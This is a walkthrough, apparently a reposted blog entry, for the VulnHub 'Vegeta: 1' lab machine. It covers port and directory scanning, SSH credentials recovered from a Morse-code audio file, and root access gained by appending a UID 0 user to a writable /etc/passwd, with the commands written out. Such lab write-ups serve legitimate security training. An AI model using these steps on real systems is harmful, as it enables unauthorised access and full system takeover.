当前位置:网站首页>vulnhub Vegeta: 1
vulnhub Vegeta: 1
2022-06-24 22:47:00 【Fairy elephant】
Infiltrate ideas :
nmap scanning ----gobuster Scan the website directory ---- Decode Morse code online , obtain ssh User name, password ----/etc/passwd Write user authorization
environmental information :
Drone aircraft :192.168.101.77
attack :192.168.101.34
Specific steps :
1、nmap scanning
sudo nmap -sV -sC -p- 192.168.101.77
2、dirb Scan the website directory ( Rabbit hole )
dirb http://192.168.101.77Find out http://192.168.101.77/robots.txt

( Below is a rabbit hole )
Browser access http://192.168.101.77/robots.txt, Find out /find_me

Browser access /find_me, Click on find_me.html, And view the web page source code

view-source:http://192.168.101.77/find_me/find_me.html
Pull to the bottom and find a large comment ( No need to copy and paste )

base64 After decoding, there is still a pile of meaningless garbled code , That the road is blocked

3、gobuster Scan the website directory
gobuster dir -u http://192.168.101.77/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txtScan to /bulma

http://192.168.101.77/bulma/ It's a catalog , There's a file in it hahahaha.wav

Download it and listen to it , It feels like Morse code
4、 Decode Morse code online , obtain ssh User name, password
Found an online translator :Morse Code Audio Decoder | Morse Code World
Press upload Upload hahahaha.wav, Then press play, Automatically convert to text messages

And what you get is
USES: TRUNKS PASSWORD : US3R(S IN DOLLPS SYMBOL)

User name trunks, password u$3r Conduct ssh Sign in
ssh [email protected]
5、/etc/passwd Write new user authorization
see /home/trunks/.bash_history, Find a direction /etc/passwd Write to new user

see /etc/passwd File permissions for
ls -al /etc/passwdFind out trunks The user has write permission

Reference resources /home/trunks/.bash_history The command , First use perl Generate encrypted user passwords
perl -le 'print crypt("123456","addedsalt")'Among the above orders , The clear text password of the user is 123456
Then the new users test write in /etc/passwd
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd
Finally switch to test user , Input password 123456, get root jurisdiction , And in /root In the directory root.txt
su - test

边栏推荐
- Annotation
- Visitor tweets tell you which groups are consuming blind boxes
- Database transaction Transanction
- Memory alignment of structures
- Docker 安装 Redis-5.0.12,详细步骤
- Principles of Ethernet port mirroring, link aggregation and VLAN Technology
- Technology inventory: past, present and future of Message Oriented Middleware
- 网上立案流程
- STP spanning tree protocol Foundation
- The usage difference between isempty and isblank is so different that so many people can't answer it
猜你喜欢

中国SSD行业企业势力全景图

JMM 最最最核心的概念:Happens-before 原则

Heavyweight! Fada is listed as a "specialized and new" enterprise

Creating files, recursively creating directories

Learn more about the practical application of sentinel

1. fully explain the basic principles of IPSec

High level application of SQL statements in MySQL database (II)

Yyds dry goods inventory junit5 learning II: assumptions class

Can AI chat robots replace manual customer service?

Leetcode: calculate the number of elements less than the current element on the right (sortedlist+bisect\u left)
随机推荐
The difference between interceptor and filter
故障安全移动面板KTP900F Mobile下载程序提示无法下载,目标设备正在运行或未处于传输模式的解决办法
NIO、BIO、AIO
Basic principles of spanning tree protocol
Genesis公链与美国一众加密投资者齐聚Consensus 2022
Wechat side: what is consistent hash? In what scenario? What problems have been solved?
Technology inventory: past, present and future of Message Oriented Middleware
CDN principle
LeetCode Algorithm 剑指 Offer II 027. 回文链表
2022-06-10 工作记录--JS-获取到某一日期N天后的日期
vulnhub Vegeta: 1
ThreadLocal memory leak
Code farmers should also understand the IPv4 subnet division of point networks
O (n) complexity hand tear sorting interview questions | an article will help you understand counting sorting
Cache control of HTTP
Learn more about the practical application of sentinel
Row and column differences in matrix construction of DX HLSL and GL glsl
OSPF basic content
2022-06-16 work record --js- judge the number of digits in string type digits + judge the number of digits in numeric type digits + limit the text length (display n words at most, exceeding...)
ACL (access control list) basic chapter - Super interesting learning network